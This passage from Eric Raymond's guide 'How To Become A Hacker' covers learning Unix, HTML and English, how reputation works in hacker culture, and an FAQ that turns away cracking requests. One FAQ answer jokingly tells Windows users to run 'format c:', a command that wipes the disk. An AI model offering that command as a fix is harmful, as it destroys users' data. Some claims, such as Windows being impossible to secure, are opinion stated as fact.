Yes, there are other operating systems in the world besides Unix. But they're distributed in binary — you can't read the code, and you can't modify it. Trying to learn to hack on a Microsoft Windows machine or under any other closed-source system is like trying to learn to dance while wearing a body cast.
Under Mac OS X it's possible, but only part of the system is open source — you're likely to hit a lot of walls, and you have to be careful not to develop the bad habit of depending on Apple's proprietary code. If you concentrate on the Unix under the hood you can learn some useful things.
Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can't be an Internet hacker without understanding Unix. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn't always true, and some old-time hackers still aren't happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft's muscle doesn't seem able to seriously dent it.)
So, bring up a Unix — I like Linux myself but there are other ways (and yes, you can run both Linux and Microsoft Windows on the same machine). Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You'll get better programming tools (including C, LISP, Python, and Perl) than any Microsoft operating system can dream of hosting, you'll have fun, and you'll soak up more knowledge than you realize you're learning until you look back on it as a master hacker.
For more about learning Unix, see The Loginataka. You might also want to have a look at The Art Of Unix Programming.
To get your hands on a Linux, see the Linux Online! site; you can download from there or (better idea) find a local Linux user group to help you with installation.
During the first ten years of this HOWTO's life, I reported that from a new user's point of view, all Linux distributions are almost equivalent. But in 2006-2007, an actual best choice emerged: Ubuntu. While other distros have their own areas of strength, Ubuntu is far and away the most accessible to Linux newbies.
You can find BSD Unix help and resources at www.bsd.org.
A good way to dip your toes in the water is to boot up what Linux fans call a live CD, a distribution that runs entirely off a CD without having to modify your hard disk. This will be slow, because CDs are slow, but it's a way to get a look at the possibilities without having to do anything drastic.
I have written a primer on the basics of Unix and the Internet.
I used to recommend against installing either Linux or BSD as a solo project if you're a newbie. Nowadays the installers have gotten good enough that doing it entirely on your own is possible even for a newbie. Nevertheless, I still recommend making contact with your local Linux user's group and asking for help. It can't hurt, and may smooth the process.
3. Learn how to use the World Wide Web and write HTML.
Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even politicians admit has changed the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.
This doesn't just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web's markup language. If you don't know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page. Try to stick to XHTML, which is a cleaner language than classic HTML. (There are good beginner tutorials on the Web; here's one.)
But just having a home page isn't anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge — very snazzy-looking sludge, mind you, but sludge all the same (for more on this see The HTML Hell Page).
To be worthwhile, your page must have content — it must be interesting and/or useful to other hackers. And that brings us to the next topic...
4. If you don't have functional English, learn it.
As an American and native English-speaker myself, I have previously been reluctant to suggest this, lest it be taken as a sort of cultural imperialism. But several native speakers of other languages have urged me to point out that English is the working language of the hacker culture and the Internet, and that you will need to know it to function in the hacker community.
Back around 1991 I learned that many hackers who have English as a second language use it in technical discussions even when they share a birth tongue; it was reported to me at the time that English has a richer technical vocabulary than any other language and is therefore simply a better tool for the job. For similar reasons, translations of technical books written in English are often unsatisfactory (when they get done at all).
Linus Torvalds, a Finn, comments his code in English (it apparently never occurred to him to do otherwise). His fluency in English has been an important factor in his ability to recruit a worldwide community of developers for Linux. It's an example worth following.
Being a native English-speaker does not guarantee that you have language skills good enough to function as a hacker. If your writing is semi-literate, ungrammatical, and riddled with misspellings, many hackers (including myself) will tend to ignore you. While sloppy writing does not invariably mean sloppy thinking, we've generally found the correlation to be strong — and we have no use for sloppy thinkers. If you can't yet write competently, learn to.
Status in the Hacker Culture
1. Write open-source software
2. Help test and debug open-source software
3. Publish useful information
4. Help keep the infrastructure working
5. Serve the hacker culture itself
Like most cultures without a money economy, hackerdom runs on reputation. You're trying to solve interesting problems, but how interesting they are, and whether your solutions are really good, is something that only your technical peers or superiors are normally equipped to judge.
Accordingly, when you play the hacker game, you learn to keep score primarily by what other hackers think of your skill (this is why you aren't really a hacker until other hackers consistently call you one). This fact is obscured by the image of hacking as solitary work; also by a hacker-cultural taboo (gradually decaying since the late 1990s but still potent) against admitting that ego or external validation are involved in one's motivation at all.
Specifically, hackerdom is what anthropologists call a gift culture. You gain status and reputation in it not by dominating other people, nor by being beautiful, nor by having things other people want, but rather by giving things away. Specifically, by giving away your time, your creativity, and the results of your skill.
There are basically five kinds of things you can do to be respected by hackers:
1. Write open-source software
The first (the most central and most traditional) is to write programs that other hackers think are fun or useful, and give the program sources away to the whole hacker culture to use.
(We used to call these works “free software”, but this confused too many people who weren't sure exactly what “free” was supposed to mean. Most of us now prefer the term “open-source” software).
Hackerdom's most revered demigods are people who have written large, capable programs that met a widespread need and given them away, so that now everyone uses them.
But there's a bit of a fine historical point here. While hackers have always looked up to the open-source developers among them as our community's hardest core, before the mid-1990s most hackers most of the time worked on closed source. This was still true when I wrote the first version of this HOWTO in 1996; it took the mainstreaming of open-source software after 1997 to change things. Today, "the hacker community" and "open-source developers" are two descriptions for what is essentially the same culture and population — but it is worth remembering that this was not always so.
2. Help test and debug open-source software
They also serve who stand and debug open-source software. In this imperfect world, we will inevitably spend most of our software development time in the debugging phase. That's why any open-source author who's thinking will tell you that good beta-testers (who know how to describe symptoms clearly, localize problems well, can tolerate bugs in a quickie release, and are willing to apply a few simple diagnostic routines) are worth their weight in rubies. Even one of these can make the difference between a debugging phase that's a protracted, exhausting nightmare and one that's merely a salutary nuisance.
If you're a newbie, try to find a program under development that you're interested in and be a good beta-tester. There's a natural progression from helping test programs to helping debug them to helping modify them. You'll learn a lot this way, and generate good karma with people who will help you later on.
3. Publish useful information
Another good thing is to collect and filter useful and interesting information into web pages or documents like Frequently Asked Questions (FAQ) lists, and make those generally available.
Maintainers of major technical FAQs get almost as much respect as open-source authors.
4. Help keep the infrastructure working
The hacker culture (and the engineering development of the Internet, for that matter) is run by volunteers. There's a lot of necessary but unglamorous work that needs done to keep it going — administering mailing lists, moderating newsgroups, maintaining large software archive sites, developing RFCs and other technical standards.
People who do this sort of thing well get a lot of respect, because everybody knows these jobs are huge time sinks and not as much fun as playing with code. Doing them shows dedication.
5. Serve the hacker culture itself
Finally, you can serve and propagate the culture itself (by, for example, writing an accurate primer on how to become a hacker :-)). This is not something you'll be positioned to do until you've been around for while and become well-known for one of the first four things.
The hacker culture doesn't have leaders, exactly, but it does have culture heroes and tribal elders and historians and spokespeople. When you've been in the trenches long enough, you may grow into one of these. Beware: hackers distrust blatant ego in their tribal elders, so visibly reaching for this kind of fame is dangerous. Rather than striving for it, you have to sort of position yourself so it drops in your lap, and then be modest and gracious about your status.
The Hacker/Nerd Connection
Contrary to popular myth, you don't have to be a nerd to be a hacker. It does help, however, and many hackers are in fact nerds. Being something of a social outcast helps you stay concentrated on the really important things, like thinking and hacking.
For this reason, many hackers have adopted the label ‘geek’ as a badge of pride — it's a way of declaring their independence from normal social expectations (as well as a fondness for other things like science fiction and strategy games that often go with being a hacker). The term 'nerd' used to be used this way back in the 1990s, back when 'nerd' was a mild pejorative and 'geek' a rather harsher one; sometime after 2000 they switched places, at least in U.S. popular culture, and there is now even a significant geek-pride culture among people who aren't techies.
If you can manage to concentrate enough on hacking to be good at it and still have a life, that's fine. This is a lot easier today than it was when I was a newbie in the 1970s; mainstream culture is much friendlier to techno-nerds now. There are even growing numbers of people who realize that hackers are often high-quality lover and spouse material.
If you're attracted to hacking because you don't have a life, that's OK too — at least you won't have trouble concentrating. Maybe you'll get a life later on.
Points For Style
Again, to be a hacker, you have to enter the hacker mindset. There are some things you can do when you're not at a computer that seem to help. They're not substitutes for hacking (nothing is) but many hackers do them, and feel that they connect in some basic way with the essence of hacking.
Learn to write your native language well. Though it's a common stereotype that programmers can't write, a surprising number of hackers (including all the most accomplished ones I know of) are very able writers.
Read science fiction. Go to science fiction conventions (a good way to meet hackers and proto-hackers).
Train in a martial-arts form. The kind of mental discipline required for martial arts seems to be similar in important ways to what hackers do. The most popular forms among hackers are definitely Asian empty-hand arts such as Tae Kwon Do, various forms of Karate, Kung Fu, Aikido, or Ju Jitsu. Western fencing and Asian sword arts also have visible followings. In places where it's legal, pistol shooting has been rising in popularity since the late 1990s. The most hackerly martial arts are those which emphasize mental discipline, relaxed awareness, and control, rather than raw strength, athleticism, or physical toughness.
Study an actual meditation discipline. The perennial favorite among hackers is Zen (importantly, it is possible to benefit from Zen without acquiring a religion or discarding one you already have). Other styles may work as well, but be careful to choose one that doesn't require you to believe crazy things.
Develop an analytical ear for music. Learn to appreciate peculiar kinds of music. Learn to play some musical instrument well, or how to sing.
Develop your appreciation of puns and wordplay.
The more of these things you already do, the more likely it is that you are natural hacker material. Why these things in particular is not completely clear, but they're connected with a mix of left- and right-brain skills that seems to be important; hackers need to be able to both reason logically and step outside the apparent logic of a problem at a moment's notice.
Work as intensely as you play and play as intensely as you work. For true hackers, the boundaries between "play", "work", "science" and "art" all tend to disappear, or to merge into a high-level creative playfulness. Also, don't be content with a narrow range of skills. Though most hackers self-describe as programmers, they are very likely to be more than competent in several related skills — system administration, web design, and PC hardware troubleshooting are common ones. A hacker who's a system administrator, on the other hand, is likely to be quite skilled at script programming and web design. Hackers don't do things by halves; if they invest in a skill at all, they tend to get very good at it.
Finally, a few things not to do.
Don't use a silly, grandiose user ID or screen name.
Don't get in flame wars on Usenet (or anywhere else).
Don't call yourself a ‘cyberpunk’, and don't waste your time on anybody who does.
Don't post or email writing that's full of spelling errors and bad grammar.
The only reputation you'll make doing any of these things is as a twit. Hackers have long memories — it could take you years to live your early blunders down enough to be accepted.
The problem with screen names or handles deserves some amplification. Concealing your identity behind a handle is a juvenile and silly behavior characteristic of crackers, warez d00dz, and other lower life forms. Hackers don't do this; they're proud of what they do and want it associated with their real names. So if you have a handle, drop it. In the hacker culture it will only mark you as a loser.
Other Resources
Paul Graham has written an essay called Great Hackers, and another on Undergraduation, in which he speaks much wisdom.
Peter Seebach maintains an excellent Hacker FAQ for managers who don't understand how to deal with hackers.
There is a document called How To Be A Programmer that is an excellent complement to this one. It has valuable advice not just about coding and skillsets, but about how to function on a programming team.
I have also written A Brief History Of Hackerdom.
I have written a paper, The Cathedral and the Bazaar, which explains a lot about how the Linux and open-source cultures work. I have addressed this topic even more directly in its sequel Homesteading the Noosphere.
Rick Moen has written an excellent document on how to run a Linux user group.
Rick Moen and I have collaborated on another document on How To Ask Smart Questions. This will help you seek assistance in a way that makes it more likely that you will actually get it.
If you need instruction in the basics of how personal computers, Unix, and the Internet work, see The Unix and Internet Fundamentals HOWTO.
When you release software or write patches for software, try to follow the guidelines in the Software Release Practice HOWTO.
If you enjoyed the Zen poem, you might also like Rootless Root: The Unix Koans of Master Foo.
Frequently Asked Questions
Q: How do I tell if I am already a hacker?
Q: Will you teach me how to hack?
Q: How can I get started, then?
Q: When do you have to start? Is it too late for me to learn?
Q: How long will it take me to learn to hack?
Q: Is Visual Basic a good language to start with?
Q: Would you help me to crack a system, or teach me how to crack?
Q: How can I get the password for someone else's account?
Q: How can I break into/read/monitor someone else's email?
Q: How can I steal channel op privileges on IRC?
Q: I've been cracked. Will you help me fend off further attacks?
Q: I'm having problems with my Windows software. Will you help me?
Q: Where can I find some real hackers to talk with?
Q: Can you recommend useful books about hacking-related subjects?
Q: Do I need to be good at math to become a hacker?
Q: What language should I learn first?
Q: What kind of hardware do I need?
Q: I want to contribute. Can you help me pick a problem to work on?
Q: Do I need to hate and bash Microsoft?
Q: But won't open-source software leave programmers unable to make a living?
Q: Where can I get a free Unix?

Q:
How do I tell if I am already a hacker?
A:
Ask yourself the following three questions:
Do you speak code, fluently?
Do you identify with the goals and values of the hacker community?
Has a well-established member of the hacker community ever called you a hacker?
If you can answer yes to all three of these questions, you are already a hacker. No two alone are sufficient.
The first test is about skills. You probably pass it if you have the minimum technical skills described earlier in this document. You blow right through it if you have had a substantial amount of code accepted by an open-source development project.
The second test is about attitude. If the five principles of the hacker mindset seemed obvious to you, more like a description of the way you already live than anything novel, you are already halfway to passing it. That's the inward half; the other, outward half is the degree to which you identify with the hacker community's long-term projects.
Here is an incomplete but indicative list of some of those projects: Does it matter to you that Linux improve and spread? Are you passionate about software freedom? Hostile to monopolies? Do you act on the belief that computers can be instruments of empowerment that make the world a richer and more humane place?
But a note of caution is in order here. The hacker community has some specific, primarily defensive political interests — two of them are defending free-speech rights and fending off "intellectual-property" power grabs that would make open source illegal. Some of those long-term projects are civil-liberties organizations like the Electronic Frontier Foundation, and the outward attitude properly includes support of them. But beyond that, most hackers view attempts to systematize the hacker attitude into an explicit political program with suspicion; we've learned, the hard way, that these attempts are divisive and distracting. If someone tries to recruit you to march on your capitol in the name of the hacker attitude, they've missed the point. The right response is probably “Shut up and show them the code.”
The third test has a tricky element of recursiveness about it. I observed in the section called “What Is a Hacker?” that being a hacker is partly a matter of belonging to a particular subculture or social network with a shared history, an inside and an outside. In the far past, hackers were a much less cohesive and self-aware group than they are today. But the importance of the social-network aspect has increased over the last thirty years as the Internet has made connections with the core of the hacker subculture easier to develop and maintain. One easy behavioral index of the change is that, in this century, we have our own T-shirts.
Sociologists, who study networks like those of the hacker culture under the general rubric of "invisible colleges", have noted that one characteristic of such networks is that they have gatekeepers — core members with the social authority to endorse new members into the network. Because the "invisible college" that is hacker culture is a loose and informal one, the role of gatekeeper is informal too. But one thing that all hackers understand in their bones is that not every hacker is a gatekeeper. Gatekeepers have to have a certain degree of seniority and accomplishment before they can bestow the title. How much is hard to quantify, but every hacker knows it when they see it.

Q:
Will you teach me how to hack?
A:
Since first publishing this page, I've gotten several requests a week (often several a day) from people to "teach me all about hacking". Unfortunately, I don't have the time or energy to do this; my own hacking projects, and working as an open-source advocate, take up 110% of my time.
Even if I did, hacking is an attitude and skill you basically have to teach yourself. You'll find that while real hackers want to help you, they won't respect you if you beg to be spoon-fed everything they know.
Learn a few things first. Show that you're trying, that you're capable of learning on your own. Then go to the hackers you meet with specific questions.
If you do email a hacker asking for advice, here are two things to know up front. First, we've found that people who are lazy or careless in their writing are usually too lazy and careless in their thinking to make good hackers — so take care to spell correctly, and use good grammar and punctuation, otherwise you'll probably be ignored. Secondly, don't dare ask for a reply to an ISP account that's different from the account you're sending from; we find people who do that are usually thieves using stolen accounts, and we have no interest in rewarding or assisting thievery.

Q:
How can I get started, then?
A:
The best way for you to get started would probably be to go to a LUG (Linux user group) meeting. You can find such groups on the LDP General Linux Information Page; there is probably one near you, possibly associated with a college or university. LUG members will probably give you a Linux if you ask, and will certainly help you install one and get started.

Q:
When do you have to start? Is it too late for me to learn?
A:
Any age at which you are motivated to start is a good age. Most people seem to get interested between ages 15 and 20, but I know of exceptions in both directions.

Q:
How long will it take me to learn to hack?
A:
That depends on how talented you are and how hard you work at it. Most people who try can acquire a respectable skill set in eighteen months to two years, if they concentrate. Don't think it ends there, though; in hacking (as in many other fields) it takes about ten years to achieve mastery. And if you are a real hacker, you will spend the rest of your life learning and perfecting your craft.

Q:
Is Visual Basic a good language to start with?
A:
If you're asking this question, it almost certainly means you're thinking about trying to hack under Microsoft Windows. This is a bad idea in itself. When I compared trying to learn to hack under Windows to trying to learn to dance while wearing a body cast, I wasn't kidding. Don't go there. It's ugly, and it never stops being ugly.
There is a specific problem with Visual Basic; mainly that it's not portable. Though there is a prototype open-source implementations of Visual Basic, the applicable ECMA standards don't cover more than a small set of its programming interfaces. On Windows most of its library support is proprietary to a single vendor (Microsoft); if you aren't extremely careful about which features you use — more careful than any newbie is really capable of being — you'll end up locked into only those platforms Microsoft chooses to support. If you're starting on a Unix, much better languages with better libraries are available. Python, for example.
Also, like other Basics, Visual Basic is a poorly-designed language that will teach you bad programming habits. No, don't ask me to describe them in detail; that explanation would fill a book. Learn a well-designed language instead.
One of those bad habits is becoming dependent on a single vendor's libraries, widgets, and development tools. In general, any language that isn't fully supported under at least Linux or one of the BSDs, and/or at least three different vendors' operating systems, is a poor one to learn to hack in.

Q:
Would you help me to crack a system, or teach me how to crack?
A:
No. Anyone who can still ask such a question after reading this FAQ is too stupid to be educable even if I had the time for tutoring. Any emailed requests of this kind that I get will be ignored or answered with extreme rudeness.

Q:
How can I get the password for someone else's account?
A:
This is cracking. Go away, idiot.

Q:
How can I break into/read/monitor someone else's email?
A:
This is cracking. Get lost, moron.

Q:
How can I steal channel op privileges on IRC?
A:
This is cracking. Begone, cretin.

Q:
I've been cracked. Will you help me fend off further attacks?
A:
No. Every time I've been asked this question so far, it's been from some poor sap running Microsoft Windows. It is not possible to effectively secure Windows systems against crack attacks; the code and architecture simply have too many flaws, which makes securing Windows like trying to bail out a boat with a sieve. The only reliable prevention starts with switching to Linux or some other operating system that is designed to at least be capable of security.

Q:
I'm having problems with my Windows software. Will you help me?
A:
Yes. Go to a DOS prompt and type "format c:". Any problems you are experiencing will cease within a few minutes.

Q:
Where can I find some real hackers to talk with?
A:
The best way is to find a Unix or Linux user's group local to you and go to their meetings (you can find links to several lists of user groups on the LDP site at ibiblio).
(I used to say here that you wouldn't find any real hackers on IRC, but I'm given to understand this is changing. Apparently some real hacker communities, attached to things like GIMP and Perl, have IRC channels now.)

Q:
Can you recommend useful books about hacking-related subjects?
A:
I maintain a Linux Reading List HOWTO that you may find helpful. The Loginataka may also be interesting.
For an introduction to Python, see the introductory materials on the Python site.

Q:
Do I need to be good at math to become a hacker?
A:
No. Hacking uses very little formal mathematics or arithmetic. In particular, you won't usually need trigonometry, calculus or analysis (there are exceptions to this in a handful of specific application areas like 3-D computer graphics). Knowing some formal logic and Boolean algebra is good. Some grounding in finite mathematics (including finite-set theory, combinatorics, and graph theory) can be helpful.
Much more importantly: you need to be able to think logically and follow chains of exact reasoning, the way mathematicians do. While the content of most mathematics won't help you, you will need the discipline and intelligence to handle mathematics. If you lack the intelligence, there is little hope for you as a hacker; if you lack the discipline, you'd better grow it.
I think a good way to find out if you have what it takes is to pick up a copy of Raymond Smullyan's book What Is The Name Of This Book?. Smullyan's playful logical conundrums are very much in the hacker spirit. Being able to solve them is a good sign; enjoying solving them is an even better one.

Q:
What language should I learn first?
A:
XHTML (the latest dialect of HTML) if you don't already know it. There are a lot of glossy, hype-intensive bad HTML books out there, and distressingly few good ones. The one I like best is HTML: The Definitive Guide.
But HTML is not a full programming language. When you're ready to start programming, I would recommend starting with Python. You will hear a lot of people recommending Perl, and Perl is still more popular than Python, but it's harder to learn and (in my opinion) less well designed.
C is really important, but it's also much more difficult than either Python or Perl. Don't try to learn it first.
Windows users, do not settle for Visual Basic. It will teach you bad habits, and it's not portable off Windows. Avoid.

Q:
What kind of hardware do I need?
A:
It used to be that personal computers were rather underpowered and memory-poor, enough so that they placed artificial limits on a hacker's learning process. This stopped being true in the mid-1990s; any machine from an Intel 486DX50 up is more than powerful enough for development work, X, and Internet communications, and the smallest disks you can buy today are plenty big enough.
The important thing in choosing a machine on which to learn is whether its hardware is Linux-compatible (or BSD-compatible, should you choose to go that route). Again, this will be true for almost all modern machines. The only really sticky areas are modems and wireless cards; some machines have Windows-specific hardware that won't work with Linux.
There's a FAQ on hardware compatibility; the latest version is here.

Q:
I want to contribute. Can you help me pick a problem to work on?
A:
No, because I don't know your talents or interests. You have to be self-motivated or you won't stick, which is why having other people choose your direction almost never works.
Try this. Watch the project announcements scroll by on Freshmeat for a few days. When you see one that makes you think "Cool! I'd like to work on that!", join it.

Q:
Do I need to hate and bash Microsoft?
A:
No, you don't. Not that Microsoft isn't loathsome, but there was a hacker culture long before Microsoft and there will still be one long after Microsoft is history. Any energy you spend hating Microsoft would be better spent on loving your craft. Write good code — that will bash Microsoft quite sufficiently without polluting your karma.

Q:
But won't open-source software leave programmers unable to make a living?
A:
This seems unlikely — so far, the open-source software industry seems to be creating jobs rather than taking them away. If having a program written is a net economic gain over not having it written, a programmer will get paid whether or not the program is going to be open-source after it's done. And, no matter how much "free" software gets written, there always seems to be more demand for new and customized applications. I've written more about this at the Open Source pages.

Q:
Where can I get a free Unix?
A:
If you don't have a Unix installed on your machine yet, elsewhere on this page I include pointers to where to get the most commonly used free Unix. To be a hacker you need motivation and initiative and the ability to educate yourself. Start now...